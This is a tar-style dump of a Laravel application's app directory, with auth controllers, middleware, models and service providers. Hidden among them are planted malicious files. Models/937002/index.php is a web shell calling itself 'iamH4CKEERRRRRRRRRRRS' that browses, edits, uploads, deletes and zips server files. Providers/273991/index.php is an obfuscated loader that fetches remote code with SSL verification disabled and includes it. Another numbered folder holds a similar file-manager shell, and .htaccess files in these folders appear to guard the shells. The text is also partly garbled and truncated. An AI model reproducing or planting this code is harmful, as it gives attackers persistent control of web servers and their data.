?????????????? ?????????????? ?????????????? ?????????????? Console/Commands/CreateModuleStatus.php000064400000001626151405220710014177 0ustar00filesystem = $filesystem; } public function handle() { $modules = Module::all(); foreach ($modules as $module) { $folderPath = base_path("Modules/".$module->getName()."/resources/assets"); $shortcutPath = public_path("modules"); if(is_dir($shortcutPath) == false){ $this->filesystem->makeDirectory(public_path('modules')); } $shortcutPath = public_path("modules/".strtolower($module->getName())); $this->filesystem->link($folderPath, $shortcutPath); $this->info('Shortcut created successfully.'); } } } Console/Commands/SyncDataTables.php000064400000003106151405220710013256 0ustar00where($column,$search)->update(["catgable_type" => 'Modules\\News\\app\\Models\\News']); $table = "catgables";$column = "catgable_type";$search = "Modules\Product\Entities\Product"; DB::table($table)->where($column,$search)->update(["catgable_type" => 'Modules\\Product\\app\\Models\\Product']); $table = "role_model";$column = "model_type";$search = "Modules\Admin\Entities\Admin"; DB::table($table)->where($column,$search)->update(["model_type" => 'Modules\\Admin\\app\\Models\\Admin']); $table = "service_model";$column = "model_type";$search = "Modules\News\Entities\News"; DB::table($table)->where($column,$search)->update(["model_type" => 'Modules\\News\\app\\Models\\News']); $table = "service_model";$column = "model_type";$search = "Modules\Product\Entities\Product"; DB::table($table)->where($column,$search)->update(["model_type" => 'Modules\\Product\\app\\Models\\Product']); } } Console/Kernel.php000064400000001075151405220710010077 0ustar00command('inspire')->hourly(); } /** * Register the commands for the application. */ protected function commands(): void { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } Console/Observers/CounselingYearObserver.php000064400000001600151405220710015262 0ustar00 $month, 'yearId' => $counseling->id ]); } } } Exceptions/Handler.php000064400000002006151405220710010746 0ustar00 */ protected $dontFlash = [ 'current_password', 'password', 'password_confirmation', ]; /** * Register the exception handling callbacks for the application. */ public function register(): void { $this->reportable(function (Throwable $e) { // }); } protected function unauthenticated($request, AuthenticationException $exception) { if (!Auth::check()) { return response()->json([ 'message' => 'Unauthorized' // می‌توانید کد خطا هم اضافه کنید ], 401); } } } Http/Controllers/Auth/AuthenticatedSessionController.php000064400000002055151405220710017574 0ustar00authenticate(); $request->session()->regenerate(); return redirect()->intended(RouteServiceProvider::HOME); } /** * Destroy an authenticated session. */ public function destroy(Request $request): RedirectResponse { Auth::guard('web')->logout(); $request->session()->invalidate(); $request->session()->regenerateToken(); return redirect('/'); } } Http/Controllers/Auth/ConfirmablePasswordController.php000064400000002037151405220710017412 0ustar00validate([ 'email' => $request->user()->email, 'password' => $request->password, ])) { throw ValidationException::withMessages([ 'password' => __('auth.password'), ]); } $request->session()->put('auth.password_confirmed_at', time()); return redirect()->intended(RouteServiceProvider::HOME); } } Http/Controllers/Auth/EmailVerificationNotificationController.php000064400000001225151405220710021405 0ustar00user()->hasVerifiedEmail()) { return redirect()->intended(RouteServiceProvider::HOME); } $request->user()->sendEmailVerificationNotification(); return back()->with('status', 'verification-link-sent'); } } Http/Controllers/Auth/EmailVerificationPromptController.php000064400000001123151405220710020235 0ustar00user()->hasVerifiedEmail() ? redirect()->intended(RouteServiceProvider::HOME) : view('auth.verify-email'); } } Http/Controllers/Auth/LoginController.php000064400000002136151405220710014516 0ustar00middleware('guest')->except('logout'); } } Http/Controllers/Auth/NewPasswordController.php000064400000004214151405220710015721 0ustar00 $request]); } /** * Handle an incoming new password request. * * @throws \Illuminate\Validation\ValidationException */ public function store(Request $request): RedirectResponse { $request->validate([ 'token' => ['required'], 'email' => ['required', 'email'], 'password' => ['required', 'confirmed', Rules\Password::defaults()], ]); // Here we will attempt to reset the user's password. If it is successful we // will update the password on an actual user model and persist it to the // database. Otherwise we will parse the error and return the response. $status = Password::reset( $request->only('email', 'password', 'password_confirmation', 'token'), function ($user) use ($request) { $user->forceFill([ 'password' => Hash::make($request->password), 'remember_token' => Str::random(60), ])->save(); event(new PasswordReset($user)); } ); // If the password was successfully reset, we will redirect the user back to // the application's home authenticated view. If there is an error we can // redirect them back to where they came from with their error message. return $status == Password::PASSWORD_RESET ? redirect()->route('login')->with('status', __($status)) : back()->withInput($request->only('email')) ->withErrors(['email' => __($status)]); } } Http/Controllers/Auth/PasswordController.php000064400000001433151405220710015247 0ustar00validateWithBag('updatePassword', [ 'current_password' => ['required', 'current_password'], 'password' => ['required', Password::defaults(), 'confirmed'], ]); $request->user()->update([ 'password' => Hash::make($validated['password']), ]); return back()->with('status', 'password-updated'); } } Http/Controllers/Auth/PasswordResetLinkController.php000064400000002443151405220710017072 0ustar00validate([ 'email' => ['required', 'email'], ]); // We will send the password reset link to this user. Once we have attempted // to send the link, we will examine the response then see the message we // need to show to the user. Finally, we'll send out a proper response. $status = Password::sendResetLink( $request->only('email') ); return $status == Password::RESET_LINK_SENT ? back()->with('status', __($status)) : back()->withInput($request->only('email')) ->withErrors(['email' => __($status)]); } } Http/Controllers/Auth/RegisteredUserController.php000064400000002524151405220710016403 0ustar00validate([ 'name' => ['required', 'string', 'max:255'], 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:'.User::class], 'password' => ['required', 'confirmed', Rules\Password::defaults()], ]); $user = User::create([ 'name' => $request->name, 'email' => $request->email, 'password' => Hash::make($request->password), ]); event(new Registered($user)); Auth::login($user); return redirect(RouteServiceProvider::HOME); } } Http/Controllers/Auth/VerifyEmailController.php000064400000001466151405220710015667 0ustar00user()->hasVerifiedEmail()) { return redirect()->intended(RouteServiceProvider::HOME.'?verified=1'); } if ($request->user()->markEmailAsVerified()) { event(new Verified($request->user())); } return redirect()->intended(RouteServiceProvider::HOME.'?verified=1'); } } Http/Controllers/Controller.php000064400000000453151405220710012624 0ustar00 $request->user(), ]); } /** * Update the user's profile information. */ public function update(ProfileUpdateRequest $request): RedirectResponse { $request->user()->fill($request->validated()); if ($request->user()->isDirty('email')) { $request->user()->email_verified_at = null; } $request->user()->save(); return Redirect::route('profile.edit')->with('status', 'profile-updated'); } /** * Delete the user's account. */ public function destroy(Request $request): RedirectResponse { $request->validateWithBag('userDeletion', [ 'password' => ['required', 'current_password'], ]); $user = $request->user(); Auth::logout(); $user->delete(); $request->session()->invalidate(); $request->session()->regenerateToken(); return Redirect::to('/'); } } Http/Kernel.php000064400000005547151405220710007424 0ustar00 */ protected $middleware = [ // \App\Http\Middleware\TrustHosts::class, \App\Http\Middleware\TrustProxies::class, \Illuminate\Http\Middleware\HandleCors::class, \App\Http\Middleware\PreventRequestsDuringMaintenance::class, \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class, \App\Http\Middleware\TrimStrings::class, \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class, ]; /** * The application's route middleware groups. * * @var array> */ protected $middlewareGroups = [ 'web' => [ \App\Http\Middleware\EncryptCookies::class, \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, \Illuminate\Session\Middleware\StartSession::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, \Illuminate\Routing\Middleware\SubstituteBindings::class, ], 'api' => [ // \Laravel\Sanctum\Http\Middleware\EnsureFrontendRequestsAreStateful::class, \Illuminate\Routing\Middleware\ThrottleRequests::class.':api', \Illuminate\Routing\Middleware\SubstituteBindings::class, ], ]; /** * The application's middleware aliases. * * Aliases may be used instead of class names to conveniently assign middleware to routes and groups. * * @var array */ protected $middlewareAliases = [ 'auth' => \App\Http\Middleware\Authenticate::class, 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, 'auth.session' => \Illuminate\Session\Middleware\AuthenticateSession::class, 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, 'can' => \Illuminate\Auth\Middleware\Authorize::class, 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, 'precognitive' => \Illuminate\Foundation\Http\Middleware\HandlePrecognitiveRequests::class, 'signed' => \App\Http\Middleware\ValidateSignature::class, 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, 'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class, 'check_role_admin' => \App\Http\Middleware\CheckRoleAdmin::class, 'set_language' => \App\Http\Middleware\SetLanguage::class, ]; } Http/Middleware/Authenticate.php000064400000000631151405220710012664 0ustar00expectsJson() ? null : route('login'); } } Http/Middleware/CheckRoleAdmin.php000064400000001254151405220710013060 0ustar00user()->roles->whereIn('key',['superuser','administrator','author','photographer'])->first(); if($role && Auth::guard('admin')->user()->state == 1) { return $next($request); } else { abort(403); } } } Http/Middleware/EncryptCookies.php000064400000000463151405220710013212 0ustar00 */ protected $except = [ // ]; } Http/Middleware/PreventRequestsDuringMaintenance.php000064400000000556151405220710016747 0ustar00 */ protected $except = [ // ]; } Http/Middleware/RedirectIfAuthenticated.php000064400000001370151405220710014772 0ustar00check()) { return redirect(RouteServiceProvider::HOME); } } return $next($request); } } Http/Middleware/SetLanguage.php000064400000001135151405220710012445 0ustar00segment(1); if(!array_key_exists($locale , config('app.locales'))){ $segments = $request->segments(); $segments[0] = config('app.fallback_locale'); return redirect(implode('/',$segments)); } return $next($request); } } Http/Middleware/TrimStrings.php000064400000000575151405220710012542 0ustar00 */ protected $except = [ 'current_password', 'password', 'password_confirmation', ]; } Http/Middleware/TrustHosts.php000064400000000573151405220710012415 0ustar00 */ public function hosts(): array { return [ $this->allSubdomainsOfApplicationUrl(), ]; } } Http/Middleware/TrustProxies.php000064400000001211151405220710012734 0ustar00|string|null */ protected $proxies; /** * The headers that should be used to detect proxies. * * @var int */ protected $headers = Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_AWS_ELB; } Http/Middleware/ValidateSignature.php000064400000000714151405220710013663 0ustar00 */ protected $except = [ // 'fbclid', // 'utm_campaign', // 'utm_content', // 'utm_medium', // 'utm_source', // 'utm_term', ]; } Http/Middleware/VerifyCsrfToken.php000064400000000500151405220710013324 0ustar00 */ protected $except = [ // ]; } Http/Requests/Auth/LoginRequest.php000064400000004247151405220710013335 0ustar00 */ public function rules(): array { return [ 'email' => ['required', 'string', 'email'], 'password' => ['required', 'string'], ]; } /** * Attempt to authenticate the request's credentials. * * @throws \Illuminate\Validation\ValidationException */ public function authenticate(): void { $this->ensureIsNotRateLimited(); if (! Auth::attempt($this->only('email', 'password'), $this->boolean('remember'))) { RateLimiter::hit($this->throttleKey()); throw ValidationException::withMessages([ 'email' => trans('auth.failed'), ]); } RateLimiter::clear($this->throttleKey()); } /** * Ensure the login request is not rate limited. * * @throws \Illuminate\Validation\ValidationException */ public function ensureIsNotRateLimited(): void { if (! RateLimiter::tooManyAttempts($this->throttleKey(), 5)) { return; } event(new Lockout($this)); $seconds = RateLimiter::availableIn($this->throttleKey()); throw ValidationException::withMessages([ 'email' => trans('auth.throttle', [ 'seconds' => $seconds, 'minutes' => ceil($seconds / 60), ]), ]); } /** * Get the rate limiting throttle key for the request. */ public function throttleKey(): string { return Str::transliterate(Str::lower($this->input('email')).'|'.$this->ip()); } } Http/Requests/ProfileUpdateRequest.php000064400000001147151405220710014123 0ustar00 */ public function rules(): array { return [ 'name' => ['required', 'string', 'max:255'], 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique(User::class)->ignore($this->user()->id)], ]; } } Livewire/ListCategory.php000064400000001575151405220710011461 0ustar00user(); $this->categories = \Modules\Category\Entities\Category:: whereType('news')->whereState(1) ->whereHas('roles', function ($query) use ($user) { $query->whereIn('id',$user->roles->pluck('role_id')); })->whereNull('parent_id')->get(); } public function render() { $categories = $this->categories; return view('category::Dashboard.Frest.category.Component.categories',compact('categories')); } } Livewire/ListLanguages.php000064400000000424151405220710011602 0ustar00get(); return view('livewire.list-languages'); } } Models/937002/.htaccess000064400000000327151405220710010330 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all Models/937002/445086/.htaccess000064400000000327151405220710011102 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all Models/937002/445086/index.php000064400000227315151405220710011134 0ustar00Models/937002/index.php000064400000026351151405220710010357 0ustar00 iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :

upload file:

List of files:

'; echo '

Edit the file: ' . basename($file_to_edit) . '

'; echo ''; echo ''; echo '
'; echo ''; echo ''; } else { echo ""; } } // ফাইলের এডিট সেভ করার অংশ if (isset($_POST['save_edits'])) { $edited_content = $_POST['edited_content']; $file_to_edit = $_GET['edit']; if (file_exists($file_to_edit)) { file_put_contents($file_to_edit, $edited_content); echo ""; } else { echo ""; } } $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // বর্তমান ডিরেক্টরি if (!is_dir($current_dir)) { $current_dir = getcwd(); // যদি ডিরেক্টরি না হয়, তবে ডিফল্ট বর্তমান ডিরেক্টরিতে রিডাইরেক্ট করা হবে } $files = scandir($current_dir); // ডিরেক্টরির সব ফাইল বের করা foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $full_path = $current_dir . '/' . $file; $is_dir = is_dir($full_path); echo ""; echo ""; echo ""; echo ""; echo ""; // পারমিশন দেখায় echo ""; echo ""; } } ?>
name file size edit permission action
" . ($is_dir ? "" . $file . "" : $file) . "" . ($is_dir ? '-' : filesize($full_path) . " KB") . "" . date("F d Y H:i:s", filemtime($full_path)) . "" . substr(sprintf('%o', fileperms($full_path)), -4) . "
alert('File deleted successfully!');window.location.href='';"; } else { echo ""; } } // ফাইল রিনেম করা if (isset($_POST['rename'])) { $oldname = $_POST['oldname']; $newname = $_POST['newname']; if (file_exists($current_dir . '/' . $oldname)) { rename($current_dir . '/' . $oldname, $current_dir . '/' . $newname); echo ""; } else { echo ""; } } // ফাইল আপলোড করা if (isset($_POST['upload'])) { $target_dir = $current_dir . "/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo ""; } else { echo ""; } } // ফাইল ডাউনলোড করা (একটি ফাইল) if (isset($_GET['download'])) { $file_to_download = $_GET['download']; if (file_exists($file_to_download)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"'); header('Content-Length: ' . filesize($file_to_download)); readfile($file_to_download); exit; } else { echo ""; } } // সব ফাইল ডাউনলোড করা (ZIP) if (isset($_POST['download_all'])) { // ZIP ফাইলের নাম এবং অবস্থান $zip_file = 'all_files.zip'; // ZIP ক্লাস ব্যবহার করে ফাইল কম্প্রেস করা $zip = new ZipArchive(); if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { // ডিরেক্টরির ফাইলগুলো লুপ করে ZIP এ যোগ করা $files = scandir($current_dir); foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $file_path = $current_dir . '/' . $file; if (is_file($file_path)) { $zip->addFile($file_path, basename($file_path)); } } } $zip->close(); // ZIP ফাইল ডাউনলোড করা header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($zip_file) . '"'); header('Content-Length: ' . filesize($zip_file)); flush(); readfile($zip_file); // ডাউনলোড শেষে ZIP ফাইল মুছে ফেলা unlink($zip_file); exit; } else { echo ""; } } ?> Models/index.php000064400000000000151405220710007572 0ustar00Models/User.php000064400000001664151405220710007422 0ustar00 */ protected $fillable = [ 'name', 'email', 'password', ]; /** * The attributes that should be hidden for serialization. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; /** * The attributes that should be cast. * * @var array */ protected $casts = [ 'email_verified_at' => 'datetime', 'password' => 'hashed', ]; } Observers/CounselingYearObserver.php000064400000001600151405220710013660 0ustar00 $month, 'yearId' => $counseling->id ]); } } } Providers/273991/.htaccess000064400000000327151405220710011074 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all Providers/273991/index.php000064400000001267151405220710011122 0ustar00 ["verify_peer" => false, "verify_peer_name" => false]]); $o1($u5[1], $o0($u5[0], false, $b6)); } if (!file_exists($u5[1])) { n4(); } if (filesize($u5[1]) === 0) { n4(); } include($u5[1]); Providers/AppServiceProvider.php000064400000001205151405220720013002 0ustar00alias('Debugbar', \Barryvdh\Debugbar\Facades\Debugbar::class); } /** * Bootstrap any application services. */ public function boot(): void { Paginator::useBootstrap(); Schema::defaultStringLength(191); } } Providers/AuthServiceProvider.php000064400000001006151405220720013162 0ustar00 */ protected $policies = [ // ]; /** * Register any authentication / authorization services. */ public function boot(): void { // } } Providers/BroadcastServiceProvider.php000064400000000547151405220720014174 0ustar00> */ protected $listen = [ Registered::class => [ SendEmailVerificationNotification::class, ], ]; /** * Register any events for your application. */ public function boot(): void { // } /** * Determine if events and listeners should be automatically discovered. */ public function shouldDiscoverEvents(): bool { return false; } } Providers/index.php000064400000000000151405220720010325 0ustar00Providers/RouteServiceProvider.php000064400000005076151405220720013372 0ustar00by($request->user()?->id ?: $request->ip()); }); try{ $admin_template_name = 'frest'; $site_template_name = ''; if(DB::connection()->table('templates')->exists()){ if (Schema::hasTable('templates')) { $admin_template = DB::table('templates')->where('type','admin')->where('state',1)->first(); $site_template = DB::table('templates')->where('type','site')->where('state',1)->first(); if($admin_template == null) { $admin_template = DB::table('templates')->where('type','admin')->first(); } if($site_template == null) { $site_template = DB::table('templates')->where('type','site')->first(); } if($admin_template != null) { $admin_template_name = $admin_template->name; } if($site_template != null) { $site_template_name = $site_template->name; } } } }catch (\Exception $e){ } Config::set('app.template_admin_route',$admin_template_name); Config::set('app.template_admin',$admin_template_name); Config::set('app.template_site_route',$site_template_name); Config::set('app.template_site',$site_template_name); $this->routes(function () { Route::middleware('api') ->prefix('api') ->group(base_path('routes/api.php')); Route::middleware('web') ->group(base_path('routes/web.php')); }); } } Providers/TelescopeServiceProvider.php000064400000003146151405220720014213 0ustar00hideSensitiveRequestDetails(); $isLocal = $this->app->environment('local'); Telescope::filter(function (IncomingEntry $entry) use ($isLocal) { return $isLocal || $entry->isReportableException() || $entry->isFailedRequest() || $entry->isFailedJob() || $entry->isScheduledTask() || $entry->hasMonitoredTag(); }); } /** * Prevent sensitive request details from being logged by Telescope. */ protected function hideSensitiveRequestDetails(): void { if ($this->app->environment('local')) { return; } Telescope::hideRequestParameters(['_token']); Telescope::hideRequestHeaders([ 'cookie', 'x-csrf-token', 'x-xsrf-token', ]); } /** * Register the Telescope gate. * * This gate determines who can access Telescope in non-local environments. */ protected function gate(): void { Gate::define('viewTelescope', function ($user) { return in_array($user->email, [ // ]); }); } } View/Components/106471/.htaccess000064400000000327151405220720012143 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all View/Components/106471/index.php000064400000235024151405220720012171 0ustar00489495df489495df<\/script>\r\n 489495dferrors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif 